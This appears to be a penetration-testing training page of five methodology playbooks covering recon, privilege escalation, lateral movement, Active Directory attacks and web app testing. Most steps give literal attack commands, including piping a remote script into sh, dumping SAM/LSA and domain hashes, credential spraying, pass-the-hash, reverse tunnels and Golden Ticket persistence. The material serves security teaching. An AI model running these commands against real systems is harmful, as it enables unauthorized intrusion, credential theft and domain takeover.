Methodologies
5 playbooks
Not what a command does (that is the reference), but the ordered thinking behind an engagement. Each step links to the exact techniques and commands, so the judgment and the reference are one product.
Enumeration Strategy recon · service enumeration · prioritization
Enumeration is the engagement. You rarely get stuck because a target is hard; you get stuck because you stopped enumerating. Every wall means you have not found the door yet. The operator edge is breadth first (see everything), then depth on the highest-signal thing you found. Exploitation is the short, easy part that comes after.
Map the attack surface
Know every open port, the service behind it, and its version.
Sweep all ports before touching any service
A fast top-1000 scan is for orientation only. The way in is often a service on a high, non-standard port a fast scan never sees. Full range first, always.
All 65535 ports, fast, saved. Read which are open
nmap -p- --min-rate 5000 -T4 <TARGET-IP> -oN ports.txt
Version + default scripts on only the open ports
nmap -sCV -p$(grep ^[0-9] ports.txt | cut -d/ -f1 | paste -sd,) <TARGET-IP> -oN services.txt
Do not forget UDP: SNMP, DNS, TFTP, IKE hide here
nmap -sU --top-ports 100 <TARGET-IP>
Record every version for later
Each version string is a lead. Match it against known exploits now and again whenever you get stuck. Version precision is what turns a service into a shell.
CVE VaultEnumerate each service in depth
Turn each open service into a concrete foothold lead.
Web (80 / 443 / 8080 / 8000 ...)
Usually the largest surface. Fingerprint, then discover content, vhosts, and parameters. Read the source and robots.txt; the interesting stuff is rarely linked.
Stack, framework, versions, headers
whatweb -a 3 http://<TARGET-IP> && curl -sI http://<TARGET-IP>
Directory / file discovery
ffuf -u http://<TARGET-IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403
Virtual host discovery (new apps hide behind Host headers)
ffuf -u http://<TARGET-IP> -H "Host: FUZZ.<TARGET-IP>" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0
SMB (139 / 445)
On Windows and AD networks, SMB leaks users, shares, and sometimes files with credentials. Try a null session first.
Null-session share listing
netexec smb <TARGET-IP> -u "" -p "" --shares
Users, groups, shares, policy in one pass
enum4linux-ng -A <TARGET-IP>
List then browse readable shares
smbclient -N -L //<TARGET-IP>/ && smbclient -N //<TARGET-IP>/share
Everything else (FTP, SNMP, LDAP, NFS, DNS, RPC)
Each has a fast high-value check. Anonymous FTP, public SNMP strings, and no_root_squash NFS are free wins operators skip when rushing.
Anonymous FTP is a frequent, free foothold
ftp <TARGET-IP> # try anonymous : anonymous
Public SNMP leaks processes, users, and sometimes creds
snmpwalk -v2c -c public <TARGET-IP>
Exported NFS shares (look for no_root_squash to escalate)
showmount -e <TARGET-IP>
Prioritize the leads
Pick the single highest-yield path and commit to it.
Rank what you found
Do not attack in the order you found things. Attack in the order of probability.
- Known public exploit for an exact version → try first, it is the fastest win.
- Default or guessable credentials on any service → try before anything clever.
- Obvious misconfiguration (writable share, anonymous access, exposed .git/.env).
- A version that is old but has no ready exploit → note it, keep enumerating.
When stuck, you missed something. Go back
Being stuck is a signal that enumeration is incomplete, not that the box is unbeatable. Widen and deepen before you assume a hard exploit.
- Re-run discovery with a larger wordlist and against every vhost you found.
- Check UDP and the odd high ports again.
- Reuse any credential you found here against every other service.
- Read the web app source and JS bundles line by line for endpoints and secrets.
- Enumerate fully before you exploit. The exploit is the easy 20%.
- Breadth first, then depth on the highest-signal lead.
- A credential found in one place almost always works in another.
- Stuck means incomplete enumeration. Go wider, then deeper.
- Document every port, version, and credential as you go.
Privilege Escalation Approach linux + windows · local privesc mindset
You have a shell; you want root or SYSTEM. Privesc is not luck, it is a checklist run in order of reliability. Automated scanners surface most vectors, but the wins that matter (and the exam-passing ones) come from reading their output and knowing which finding is actually exploitable. Stabilize, enumerate as the new user, then escalate by highest probability.
Stabilize and orient
A usable shell and a clear picture of who you are.
Upgrade to a real TTY
A half-shell wastes time and breaks on the first interactive prompt. Fix it before you enumerate.
Spawn a PTY, then Ctrl+Z, then: stty raw -echo; fg
python3 -c 'import pty;pty.spawn("/bin/bash")'Establish your context
The two commands that most often hand you the answer immediately.
Linux: your groups, and anything you can run as root
id && sudo -l
Windows: your privileges (SeImpersonate?) and group memberships
whoami /priv && whoami /groups
Linux: are you already root-adjacent?
Read your groups before reaching for any exploit. docker, lxd/lxc, and disk are root-equivalent by design, and a privileged container or an exposed Docker socket breaks straight out to the host.
Container escapes & privileged groupsEnumerate every vector
Surface all escalation paths, automated and manual.
Run the scanner, but read the output
LinPEAS / WinPEAS find most vectors and highlight them. The tool is the start of the analysis, not the end. Run it in memory to avoid touching disk.
Linux, in-memory. Read the red/yellow findings
curl http://<YOUR-IP>:<LPORT>/linpeas.sh | sh
Windows. Focus on services, privileges, and stored creds
iwr http://<YOUR-IP>:<LPORT>/winPEASx64.exe -o w.exe; .\w.exe
Run the manual high-value checks the scanner buries
- Linux: sudo -l (check each entry on GTFOBins), SUID/SGID binaries, writable cron, capabilities.
- Windows: unquoted service paths, weak service permissions, AlwaysInstallElevated, scheduled tasks.
- Both: anything running as root/SYSTEM that you can influence (a writable script, a config, a binary).
Linux SUID binaries (check each on GTFOBins)
find / -perm -4000 -type f 2>/dev/null
Linux capabilities (cap_setuid = instant root)
getcap -r / 2>/dev/null
Hunt credentials
A found password beats every exploit: it is reliable, quiet, and often reused for the next box too.
Linux: creds in configs, web roots, home dirs
grep -riE 'password|passwd|secret|api_key' /etc /var/www /home 2>/dev/null
Windows: passwords in the registry
reg query HKLM /f password /t REG_SZ /s 2>nul
Escalate by reliability
Root or SYSTEM via the highest-probability vector first.
Linux: work down the reliability order
- sudo rights → GTFOBins (most reliable).
- SUID binary → GTFOBins.
- Writable cron, systemd timer, or service.
- Capabilities (cap_setuid).
- One-shot userspace roots (PwnKit, Baron Samedit) before you risk the kernel.
- Kernel exploit last: it can panic the box.
Linux: try the one-shot roots first
PwnKit (pkexec) and Baron Samedit (sudo) are near-universal userspace bugs that give a root shell with no special rights and no panic risk. Try them before a kernel exploit.
One-Shot Local RootLinux: sudo env and wildcard injection
If sudo -l keeps LD_PRELOAD / LD_LIBRARY_PATH, force root to load your shared object. If a root job globs a directory you can write, plant filenames it reads as flags (tar --checkpoint).
LD_PRELOAD & Wildcard InjectionLinux: writable systemd units
systemd has largely replaced cron. A writable .service/.timer, or a root unit whose ExecStart target you can edit, is a clean path to root.
Writable systemd Services & TimersWindows: work down the reliability order
- SeImpersonate / SeAssignPrimaryToken → a Potato attack to SYSTEM.
- Unquoted service path with a writable folder.
- Weak service permissions → reconfigure the binary path.
- AlwaysInstallElevated → a malicious MSI.
- Stored credentials (cmdkey, registry, SAM).
Local admin but no rights? Bypass UAC
In Administrators but at medium integrity, UAC stands between you and real admin. Auto-elevating-binary tricks (fodhelper) cross to high integrity with no prompt.
UAC Bypass- Stabilize the shell before you do anything else.
- The scanner finds it; you have to read it. Do not run and pray.
- Escalate in order of reliability, not in the order you found things.
- A found credential beats an exploit every time.
- Kernel exploits are the last resort. They crash boxes.
Lateral Movement and Pivoting credential reuse · pivoting · tunneling
One box is a foothold, not the goal. Lateral movement is the multiplier: every credential you loot is a key that usually opens more than one door, and every host you own is a new vantage point into networks you could not reach before. Loot, reuse relentlessly, pivot to see the internal network, and move toward the assets that actually matter.
Loot the current host
Extract every credential and map what this host can reach.
Dump credentials, hashes, and tickets
Before you leave a host, take everything reusable from it.
Windows: dump local SAM hashes and LSA secrets
netexec smb <TARGET-IP> -u <USER> -p <PASS> --sam --lsa
Linux: SSH keys, KeePass DBs, VPN configs
find / \( -name "id_rsa" -o -name "*.kdbx" -o -name "*.ovpn" \) 2>/dev/null
Map what this host can reach
A compromised host sees networks and services the outside cannot. Enumerate from the inside.
Neighbours and hard-coded internal hosts
arp -a; ip neigh; cat /etc/hosts
Internal services bound to loopback (privesc + pivot leads)
ss -tlnp || netstat -antp
Reuse credentials everywhere
Turn one credential into many hosts.
Spray the credential across the subnet
Password reuse is the rule, not the exception. One valid pair often authenticates to a dozen machines.
Spray a cred across the subnet (Pwned! = local admin)
netexec smb <RANGE> -u <USER> -p <PASS>
Where it lands, check WinRM for an interactive shell
netexec winrm <RANGE> -u <USER> -p <PASS>
Pass the hash / ticket when you have no cleartext
You rarely need to crack. The hash or ticket authenticates directly.
Pass-the-hash spray with an NT hash
netexec smb <RANGE> -u <USER> -H <NTLM-HASH>
Interactive PtH shell over WinRM
evil-winrm -i <TARGET-IP> -u <USER> -H <NTLM-HASH>
Pivot into unreachable networks
Route your tools through the foothold into internal subnets.
Stand up a SOCKS proxy through the foothold
A tunnel turns your whole toolkit onto the internal network. Set it up once, then run everything through it.
Start the chisel server on your box
./chisel server -p <LPORT> --reverse # attacker
Victim connects back, opens a SOCKS proxy on your side
./chisel client <YOUR-IP>:<LPORT> R:socks # victim
Run any tool through the tunnel with proxychains
proxychains -q nmap -sT -Pn <internal-host>
Forward a single internal service when a full proxy is overkill
Bring one internal port to your localhost
ssh -L 8080:127.0.0.1:8080 <USER>@<TARGET-IP>
- The foothold is a pivot, not the destination.
- Reuse every credential against every host. Reuse is the norm.
- You rarely need to crack a hash: pass it.
- Tunnel first, then scan the internal network through the tunnel.
- Move toward the crown jewels: the DC, the database, the backups.
Active Directory Attack Path domain recon · kerberos · ACLs · domain dominance
Active Directory is a graph of who can act on whom, and almost every real environment hides a path from a low-privilege user to Domain Admin somewhere in that graph. The methodology: get any domain foothold, map the graph, take the cheap wins, walk the path to a DA-equivalent, then dominate and persist. BloodHound is what turns "I am stuck" into "here is the shortest path."
Domain recon
Map the terrain and the privilege graph.
Enumerate the domain
Users, groups, computers, and policy. Even one valid credential opens most of this up.
Domain users and groups over SMB
netexec smb <DC-IP> -u <USER> -p <PASS> --users --groups
Full LDAP dump to browsable HTML
ldapdomaindump -u <DOMAIN>\\<USER> -p <PASS> <DC-IP>
Collect BloodHound data and find the path
This is the single highest-leverage move in AD. Let the graph show you the shortest path to Domain Admin instead of guessing.
Collect from Linux, then import the zips into BloodHound
bloodhound-python -u <USER> -p <PASS> -d <DOMAIN> -ns <DC-IP> -c all
Get and escalate credentials
From no creds, or a weak user, toward a privileged account.
Poison the network for a first hash
No account at all? On an internal segment, Responder (LLMNR/NBT-NS) or mitm6 (IPv6 DNS) makes machines authenticate to you within minutes. Crack the NetNTLM hash, or relay it live.
Network Poisoning & MITMNo credentials yet
You can often get a first hash without any account at all.
AS-REP roast accounts with no Kerberos pre-auth
netexec ldap <DC-IP> -u users.txt -p "" --asreproast asrep.txt
Poison LLMNR/NBT-NS to capture NetNTLM hashes
sudo responder -I tun0
Have a user? Take the cheap wins
Kerberoast first: service accounts often have weak, crackable passwords and elevated rights.
Request service tickets for offline cracking
netexec ldap <DC-IP> -u <USER> -p <PASS> --kerberoasting kerb.txt
Crack the TGS-REP hashes
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt
Walk the ACL / delegation path BloodHound found
The path to DA is usually a chain of small rights: GenericWrite, WriteDACL, delegation. Follow the graph edge by edge.
Delegation AbuseCheck AD CS - the modern shortcut to DA
Certificate Services is the most common fast path today: a misconfigured template (ESC1) or an NTLM relay to the CA (ESC8) hands you a Domain Admin certificate. Run certipy find early.
AD CS Abuse (ESC1)Domain dominance
DA-equivalent → full control and persistence.
DCSync the hashes
With replication rights (Domain Admin, or delegated), pull every hash in the domain, including krbtgt.
DCSync all domain hashes
impacket-secretsdump <DOMAIN>/<USER>:<PASS>@<DC-IP> -just-dc
Persist
The krbtgt hash is the master key. A Golden Ticket forges access to anything, as anyone, indefinitely.
- Golden Ticket from the krbtgt hash for domain-wide, long-term access.
- Dump LAPS / GMSA passwords for local admin everywhere.
- Record what you touched and clean up artifacts.
- When stuck, run BloodHound. The path is almost always already there.
- Take cheap wins (AS-REP, Kerberoast, spray) before ACL chains.
- You rarely crack: pass the hash or the ticket.
- krbtgt is the keys to the kingdom. Protect the loot, clean the artifacts.
- Every step should move you along a path the graph shows, not a guess.
Web Application Testing mapping · input testing · exploitation chains
A web application is a set of inputs and a set of trust assumptions. Testing is systematically violating each assumption. Map everything the app does and every input it takes, hit each input with each injection class, then chain what you find. The bug is almost always in the input the developer forgot to distrust, including the headers and cookies.
Map the application
Know every page, parameter, technology, and trust boundary.
Fingerprint the stack
Framework, server, CMS, and security headers
whatweb -a 3 http://<TARGET-IP> && curl -sI http://<TARGET-IP>
Discover content and parameters
The vulnerable endpoint is rarely in the navigation. Brute directories, vhosts, and params; let Burp spider while you click.
Directory and file discovery
ffuf -u http://<TARGET-IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc all -fc 404
Hidden parameter discovery
ffuf -u "http://<TARGET-IP>/api?FUZZ=1" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0
Map authentication, roles, and trust boundaries
Note where privilege changes: login, admin areas, anything that fetches a URL, anything that takes a file. Those boundaries are where the bugs live.
Test each input class
Find the vulnerability by violating one assumption at a time.
Injection (SQLi, command, XSS, SSTI)
Send one metacharacter at a time into every input and watch for errors, reflections, or timing shifts.
OWASP A03 InjectionAccess control (IDOR, forced browsing)
Change every id and role you control; hit privileged paths directly. The most common critical finding, and a scanner will miss it.
OWASP A01 Broken Access ControlThe rest (SSRF, XXE, upload, auth, deserialization)
Any feature that fetches a URL, parses XML, accepts a file, or handles sessions is a category to test in full.
OWASP Top 10 (all categories)Exploit and chain
Turn a finding into real impact.
Escalate the single bug
A finding is a foothold. Push it to its maximum: SQLi to RCE, LFI to RCE via log poisoning, stored XSS to account takeover.
Chain low-severity findings into high
Two "medium" bugs often combine into a critical: an open redirect feeds an SSRF, an IDOR leaks the token that breaks auth. Report the chain, not just the parts.
- Keep every request/response in Burp: it is your notebook and your proof.
- Retest after any "fix": patches are often incomplete or bypassable.
- Map the whole app before you test a single input.
- Test every input class against every input, headers and cookies included.
- Burp is your notebook: capture everything, it becomes the proof.
- One bug is a foothold. Chain findings for real impact.
- Retest fixes: incomplete patches are their own finding.
refs OWASP Web Security Testing Guide ↗PortSwigger Web Security Academy ↗